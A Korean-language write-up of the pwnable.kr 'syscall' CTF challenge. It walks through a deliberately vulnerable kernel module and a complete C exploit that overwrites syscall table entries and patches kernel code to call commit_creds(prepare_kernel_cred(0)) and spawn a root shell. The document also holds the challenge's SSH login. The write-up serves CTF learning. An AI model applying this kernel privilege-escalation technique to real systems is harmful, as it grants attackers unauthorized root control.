Description

    I made a new system call for Linux kernel.
    It converts lowercase letters to upper case letters.
    would you like to see the implementation?

    Download : http://pwnable.kr/bin/syscall.c

    ssh [email protected] -p2222 (pw:guest)

    Analysis

    // adding a new system call : sys_upper
    
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/slab.h>
    #include <linux/vmalloc.h>
    #include <linux/mm.h>
    #include <asm/unistd.h>
    #include <asm/page.h>
    #include <linux/syscalls.h>
    
    #define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
    #define NR_SYS_UNUSED		223
    
    //Pointers to re-mapped writable pages
    unsigned int** sct;
    
    asmlinkage long sys_upper(char *in, char* out){
    	int len = strlen(in);
    	int i;
    	for(i=0; i<len; i++){
    		if(in[i]>=0x61 && in[i]<=0x7a){
    			out[i] = in[i] - 0x20;
    		}
    		else{
    			out[i] = in[i];
    		}
    	}
    	return 0;
    }
    
    static int __init initmodule(void ){
    	sct = (unsigned int**)SYS_CALL_TABLE;
    	sct[NR_SYS_UNUSED] = sys_upper;
    	printk("sys_upper(number : 223) is added\n");
    	return 0;
    }
    
    static void __exit exitmodule(void ){
    	return;
    }
    
    module_init( initmodule );
    module_exit( exitmodule );
    

    sys_upper

    입력받은 in 문자열 중 하나의 문자가 소문자일 경우,
    대문자로 변환할 수 있도록 아스키 코드값에서 0x20를 빼고 있다.
    그렇게 대문자로 모두 변환한 문자열을 out 문자열로 지정한다.

    initmodule

    initmodule 함수는 리눅스 커널 모듈이 올라갈때 초기화되는 과정에서 호출된다.
    시스템 콜 223번에서 sys_upper 함수를 호출할 수 있도록 추가한다.

    Solution

    환경은 ARMv7l (32비트) 환경이다.

    실제로 ssh 접근해서 확인해보면, 시스템 콜 223번이 추가되었다고 dmesg 로그에 나타난다.

    sys_upper 함수를 자세히 살펴보면,
    변환시킨 대문자 문자열을 리턴하는 것이 아니고
    커널 영역에 원하는 주소에다가 값을 쓸 수 있다!

    커널 취약점을 통해 root 권한을 획득하려면 commit_creds(prepare_kernel_cred(0)); 호출하면 된다.

    우선은 commit_credsprepare_kernel_cred 함수 심볼을 찾아보면,

    / $ cat /proc/kallsyms | grep commit_creds
    8003f56c T commit_creds
    8044548c r __ksymtab_commit_creds
    8044ffc8 r __kstrtab_commit_creds
    / $ cat /proc/kallsyms | grep prepare_kernel_cred
    8003f924 T prepare_kernel_cred
    80447f34 r __ksymtab_prepare_kernel_cred
    8044ff8c r __kstrtab_prepare_kernel_cred

    commit_creds = 0x8003f56c,
    prepare_kernel_cred = 0x8003f924 주소이다.

    시스템 콜 테이블을 알고 있기 때문에 이제 이 함수들을 호출하기 위해 덮어쓸 것이다.
    매개변수가 하나인 시스템콜 함수를 찾아 setfsuid, setfsgid를 대상으로 각각 commit_creds, prepare_kernel_cred 함수로 덮어써보자.

    시스템콜 번호는 /usr/include/arm-linux-gnueabihf/asm/unistd.h 파일에서 확인할 수 있었다.

    / $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h
    ...
    #define __NR_setfsuid			(__NR_SYSCALL_BASE+138)
    #define __NR_setfsgid			(__NR_SYSCALL_BASE+139)
    ...

    setfsuid는 138번, setfsgid는 139번이다.

    이제 아래와 같이 덮어쓰면 된다.

    syscall(223, "\x24\xf9\x03\x80", &sct[138]);
    syscall(223, "\x6c\xf5\x03\x80", &sct[139]);

    여기서 \x6c가 소문자 범위인 in[i]>=0x61 && in[i]<=0x7a에 속하므로,
    실제 setfsgid 함수를 호출할때, 커널에서 0x8003f56c에서 0x20을 뺀, 0x8003f54c 주소를 가리키게 된다.

    따라서 0x8003f54c 주소에서 0x20만큼 mov r3, r3 더미 명령어를 0x20 크기만큼 넣어주면 된다.

    syscall(223, "\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03", 0x8003f54c);
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #define 	SYS_CALL_TABLE	0x8000e348
    
    unsigned int **sct;
    
    int main(){
    	sct = (unsigned int**)SYS_CALL_TABLE;
    
    	//mov r3, r3... 32bytes
    	syscall(223, "\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03", 0x8003f54c);
    	//0x8003f924 = prepare_kernel_cred
    	syscall(223, "\x24\xf9\x03\x80", &sct[138]);
    	//0x8003f56c = commit_creds
    	syscall(223, "\x6c\xf5\x03\x80", &sct[139]);
    
    	syscall(139, syscall(138, 0));
    	system("/bin/sh");
    
    	return 0;
    
    }

    Result

    ...
    sys_upper(number : 223) is added
    cttyhack: can't open '/dev/ttyS0': No such file or directory
    sh: can't access tty; job control turned off
    / $ cd /tmp
    /tmp $ vi exp.c
    /tmp $ gcc -o exp exp.c
    /tmp $ ./exp
    /bin/sh: can't access tty; job control turned off
    /tmp # id
    uid=0 gid=0
    /tmp # cat /root/flag
    Congratz!! addr_limit looks quite IMPORTANT now... huh?
    /tmp # qemu-system-arm: terminating on signal 2
    Connection to pwnable.kr closed

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다